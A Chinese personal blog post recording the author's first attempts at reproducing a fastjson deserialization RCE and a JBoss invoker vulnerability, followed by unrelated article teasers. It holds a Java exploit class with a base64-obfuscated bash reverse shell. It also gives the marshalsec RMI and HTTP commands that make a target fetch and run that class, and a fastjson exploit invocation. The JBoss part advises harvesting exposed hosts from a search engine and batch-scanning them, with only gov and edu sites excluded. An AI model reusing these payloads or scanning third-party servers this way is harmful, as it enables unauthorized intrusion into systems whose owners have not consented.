当前位置:首页 > 技术知识 > 正文内容

记录程序第一天挖漏洞的过程(挖漏洞需要学什么语言)

maynowei7个月前 (08-02)技术知识156

第一个漏洞复现fastjson漏洞

说明:

在本地这个fastjson会出现问题

复现的过程

生成一个java文件进行攻击注入的方式

javac Exploit.java

但是必须编译成.class文件才能执行

public class Exploit {
    static {
        try {
            String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}";
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {}
    }
}

代码主要就是shell反弹的方式

启动http服务器将文件上传到服务器中进行访问

如果成功访问到.class文件说明成功了

python3 -m http.server --bind 0.0.0.0 8888

打开rmi服务

我不知道这个服务的作用是什么

但是问题总是出现在这个服务互上

"http://x.x.x.x:8888/ 这个对应的攻击主机的地址

9999 是 rmi 端口号

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x:8888/#Exploit" 9999

组合命令的方式rmi/ladp的方式

java -cp fastjson_tool.jar fastjson.HRMIServer 127.0.0.1 9999 "touch /tmp/233"

最后一个就是发送的方式

http://1.1.1.1:8080/ 攻击主机的地址


rmi://2.2.2.2:9999/Exploit rmi 具体服务的地址信息

python3 fastjson-1.2.47_rce.py http://1.1.1.1:8080/ rmi://2.2.2.2:9999/Exploit

但是最后没有成功复现出结果

最后出现问题在我的服务器上面

说没有发送post指令

但是服务器本来没有post请求功能

我在java本地执行window弹出计算机的方式

访问get请求结果真的有计算机进行弹出的方式

搞了挺久还是没有做出来的方式

但是就是没有成功


jboss漏洞复现的方式

这个漏洞验证的方式比较简单一点

http:/ip+端口/invoker/readonly

直接使用这个进行访问

如果出现500错误

证明存在这个错误信息

如果没有我们进行下一个扫描的方式

如果找到大量可以扫描地址

但是需要记住千万不能扫描 gov edu 这个网址

fqfa网络空间查询

我们可以这里查询可以扫描的服务器信息

进行一个扫描的方式

使用burtsuite进行一个批量的查询的方式

但是导出的fqfa把端口和ip分开了我们需要使用notpad++进行组合

然后进行一个暴力扫描的方式

查看网站是否存在这个样的漏洞信息

扫描出来的结果还是比较少的方式

总结

学习网络安全

最主要还是学习思路

如何扫描一个网站,出现什么情况,证明这个网站可以被扫描,出现什么现象我们有机会

这个很重要,如果什么都没有出现,这个网站很难拿下

为什么想学习网络安全

因为安全学习的好

可以参加护网行动

也可以证明自己的技术

相关文章

Axure8.0教程:“百度一下,你就知道”搜索首页原型设计

加入人人都是产品经理【起点学院】产品经理实战训练营,BAT产品总监手把手带你学产品百度作为最大的中文搜索引擎,在某种程度上,有点学习google的简约至上的原则,但是给人的感觉还是不够彻底。今天,使用...

关于异步信号安全(下面关于异步电路危害的描述错误的是)

线程安全与重入以及异步信号安全的区别. 可重入一定是线程安全的,但是线程安全不一定是可重入的. 引用别人的博客中的话吧.如下: http://blog.csdn.net/xiaofei0859/art...

Oracle数据库无法连接问题排查(oracle数据库连接不成功)

数据库告警日志 如下图 。发现 问题时间段,没有 数据库服务故障 报错,但是存在较多 TNS-12535 、 12560 、 12170 、 00505 错误:通过检查问题时间段应用日志, 也记录了...

Oracle数据库云服务系列新增前所未有的企业级功能

新推出的关键任务型功能包括:实现容错可用性和按需可扩展性的集群;零数据丢失灾难恢复;Oracle数据库Exadata云服务。甲骨文还宣布推出一项最新免费数据库云服务,数据库管理员和开发人员通过该服务可...

oracle和mysql的优缺点对比(oracle和mysql哪个简单)

oracle的优缺点优点:开放性:oracle 能所有主流平台上运行(包括 windows)完全支持所有工业标准采用完全开放策略使客户选择适合解决方案对开发商全力支持;可伸缩性,并行性:Oracle...

我们生活在模拟世界中吗?(我们生活在虚拟世界的一些证据)

Are We Living in a Simulation? 我们生活在模拟世界中吗Annie Palmer 安妮·帕尔默The idea of humans living in a simulate...